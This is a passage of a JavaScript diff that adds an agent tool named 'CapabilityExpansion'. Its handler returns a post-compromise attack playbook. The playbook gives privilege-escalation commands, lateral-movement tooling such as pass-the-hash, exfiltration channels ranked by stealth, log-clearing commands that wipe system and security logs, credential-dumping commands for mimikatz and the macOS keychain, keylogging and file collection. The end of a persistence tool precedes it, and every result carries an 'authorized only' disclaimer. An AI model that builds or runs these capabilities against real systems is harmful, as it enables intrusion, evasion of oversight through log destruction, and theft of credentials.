+                            available_methods: Object.keys(platformData),
+                        });
+                    }
+                    return JSON.stringify({
+                        platform,
+                        method,
+                        name,
+                        stealth,
+                        persistence: methodData,
+                        disclaimer: 'FOR AUTHORIZED RED TEAM AND SECURITY RESEARCH ONLY',
+                    }, null, 2);
+                },
+            },
+            {
+                name: 'CapabilityExpansion',
+                description: `Expand capabilities on compromised systems - privilege escalation, lateral movement, data exfiltration.
+
+For authorized penetration testing and red team exercises.`,
+                parameters: {
+                    type: 'object',
+                    required: ['category'],
+                    properties: {
+                        category: {
+                            type: 'string',
+                            enum: ['privesc', 'lateral', 'exfil', 'defense_evasion', 'credential_access', 'collection'],
+                        },
+                        platform: { type: 'string', enum: ['macos', 'linux', 'windows', 'network'] },
+                        technique: { type: 'string', description: 'Specific technique to use' },
+                    },
+                },
+                handler: async (args) => {
+                    const category = args['category'];
+                    const platform = args['platform'] || 'all';
+                    const capabilities = {
+                        privesc: {
+                            macos: {
+                                techniques: [
+                                    {
+                                        name: 'sudo_caching',
+                                        description: 'Exploit sudo timestamp caching',
+                                        command: 'sudo -v && sudo /bin/bash',
+                                    },
+                                    {
+                                        name: 'tcc_bypass',
+                                        description: 'Bypass TCC permissions',
+                                        methods: ['Synthetic clicks', 'Mounted DMG apps', 'TCC.db manipulation'],
+                                    },
+                                    {
+                                        name: 'kernel_exploit',
+                                        description: 'Exploit kernel vulnerabilities',
+                                        tools: ['checkra1n (A5-A11)', 'Various CVEs'],
+                                    },
+                                    {
+                                        name: 'dylib_injection',
+                                        description: 'Inject into privileged processes',
+                                    },
+                                ],
+                            },
+                            linux: {
+                                techniques: [
+                                    {
+                                        name: 'suid_binaries',
+                                        command: 'find / -perm -4000 2>/dev/null',
+                                    },
+                                    {
+                                        name: 'sudo_misconfig',
+                                        command: 'sudo -l',
+                                    },
+                                    {
+                                        name: 'kernel_exploit',
+                                        tools: ['DirtyCow', 'DirtyPipe', 'Various CVEs'],
+                                    },
+                                    {
+                                        name: 'capabilities',
+                                        command: 'getcap -r / 2>/dev/null',
+                                    },
+                                ],
+                            },
+                            windows: {
+                                techniques: [
+                                    {
+                                        name: 'unquoted_service_path',
+                                        command: 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\\windows"',
+                                    },
+                                    {
+                                        name: 'always_install_elevated',
+                                        check: 'reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated',
+                                    },
+                                    {
+                                        name: 'token_manipulation',
+                                        tools: ['incognito', 'mimikatz'],
+                                    },
+                                    {
+                                        name: 'uac_bypass',
+                                        tools: ['UACME', 'fodhelper', 'eventvwr'],
+                                    },
+                                ],
+                            },
+                        },
+                        lateral: {
+                            techniques: [
+                                {
+                                    name: 'pass_the_hash',
+                                    tools: ['mimikatz', 'impacket', 'crackmapexec'],
+                                },
+                                {
+                                    name: 'pass_the_ticket',
+                                    tools: ['mimikatz', 'Rubeus'],
+                                },
+                                {
+                                    name: 'psexec',
+                                    tools: ['impacket-psexec', 'Sysinternals PsExec'],
+                                },
+                                {
+                                    name: 'wmi',
+                                    tools: ['impacket-wmiexec', 'PowerShell'],
+                                },
+                                {
+                                    name: 'ssh_hijack',
+                                    technique: 'SSH agent forwarding hijack or key theft',
+                                },
+                                {
+                                    name: 'rdp',
+                                    tools: ['xfreerdp', 'rdesktop', 'SharpRDP'],
+                                },
+                            ],
+                        },
+                        exfil: {
+                            channels: [
+                                {
+                                    name: 'dns_tunneling',
+                                    tools: ['dnscat2', 'iodine', 'dns2tcp'],
+                                    stealth: 'High - blends with legitimate DNS',
+                                },
+                                {
+                                    name: 'https',
+                                    tools: ['curl', 'wget', 'custom C2'],
+                                    stealth: 'Medium - encrypted but inspectable',
+                                },
+                                {
+                                    name: 'icmp',
+                                    tools: ['icmpsh', 'custom'],
+                                    stealth: 'Medium - often allowed through firewalls',
+                                },
+                                {
+                                    name: 'cloud_storage',
+                                    services: ['S3', 'Azure Blob', 'GCS', 'Dropbox API'],
+                                    stealth: 'High - blends with legitimate traffic',
+                                },
+                            ],
+                            techniques: [
+                                'Compression before exfil',
+                                'Encryption of exfil data',
+                                'Chunking large files',
+                                'Timing-based exfil (slow and steady)',
+                            ],
+                        },
+                        defense_evasion: {
+                            techniques: [
+                                {
+                                    name: 'timestomping',
+                                    description: 'Modify file timestamps',
+                                    tools: ['touch', 'timestomp'],
+                                },
+                                {
+                                    name: 'log_clearing',
+                                    commands: {
+                                        linux: 'truncate -s 0 /var/log/*',
+                                        windows: 'wevtutil cl Security',
+                                        macos: 'sudo log erase --all',
+                                    },
+                                },
+                                {
+                                    name: 'amsi_bypass',
+                                    platform: 'windows',
+                                    techniques: ['Memory patching', 'Reflection', 'Provider unload'],
+                                },
+                                {
+                                    name: 'etw_bypass',
+                                    platform: 'windows',
+                                    description: 'Disable Event Tracing for Windows',
+                                },
+                                {
+                                    name: 'process_injection',
+                                    techniques: ['DLL injection', 'Process hollowing', 'Thread hijacking'],
+                                },
+                            ],
+                        },
+                        credential_access: {
+                            techniques: [
+                                {
+                                    name: 'mimikatz',
+                                    platform: 'windows',
+                                    commands: ['sekurlsa::logonpasswords', 'lsadump::sam'],
+                                },
+                                {
+                                    name: 'keychain_dump',
+                                    platform: 'macos',
+                                    tools: ['security dump-keychain', 'chainbreaker'],
+                                },
+                                {
+                                    name: 'browser_credentials',
+                                    tools: ['LaZagne', 'SharpChrome', 'custom scripts'],
+                                },
+                                {
+                                    name: 'ssh_keys',
+                                    locations: ['~/.ssh/', '/etc/ssh/', 'SSH agent'],
+                                },
+                                {
+                                    name: 'kerberoasting',
+                                    platform: 'windows',
+                                    tools: ['Rubeus', 'GetUserSPNs.py'],
+                                },
+                            ],
+                        },
+                        collection: {
+                            techniques: [
+                                {
+                                    name: 'keylogging',
+                                    tools: ['logkext (macOS)', 'xinput (Linux)', 'GetAsyncKeyState (Windows)'],
+                                },
+                                {
+                                    name: 'screen_capture',
+                                    commands: {
+                                        macos: 'screencapture -x /tmp/screen.png',
+                                        linux: 'import -window root /tmp/screen.png',
+                                        windows: 'screenshot via PowerShell or API',
+                                    },
+                                },
+                                {
+                                    name: 'clipboard_monitoring',
+                                    description: 'Monitor clipboard for sensitive data',
+                                },
+                                {
+                                    name: 'file_collection',
+                                    patterns: ['*.doc*', '*.xls*', '*.pdf', '*.key', '*.pem', 'id_rsa'],
+                                },
+                            ],
+                        },
+                    };
+                    const categoryData = capabilities[category];
+                    if (!categoryData) {
+                        return JSON.stringify({
+                            error: 'Unknown category',
+                            available: Object.keys(capabilities),
+                        });
+                    }
+                    return JSON.stringify({
+                        category,
+                        platform,
+                        capabilities: categoryData,
+                        disclaimer: 'FOR AUTHORIZED PENETRATION TESTING AND RED TEAM EXERCISES ONLY',
+                    }, null, 2);
+                },
+            },
         ],
     };
 }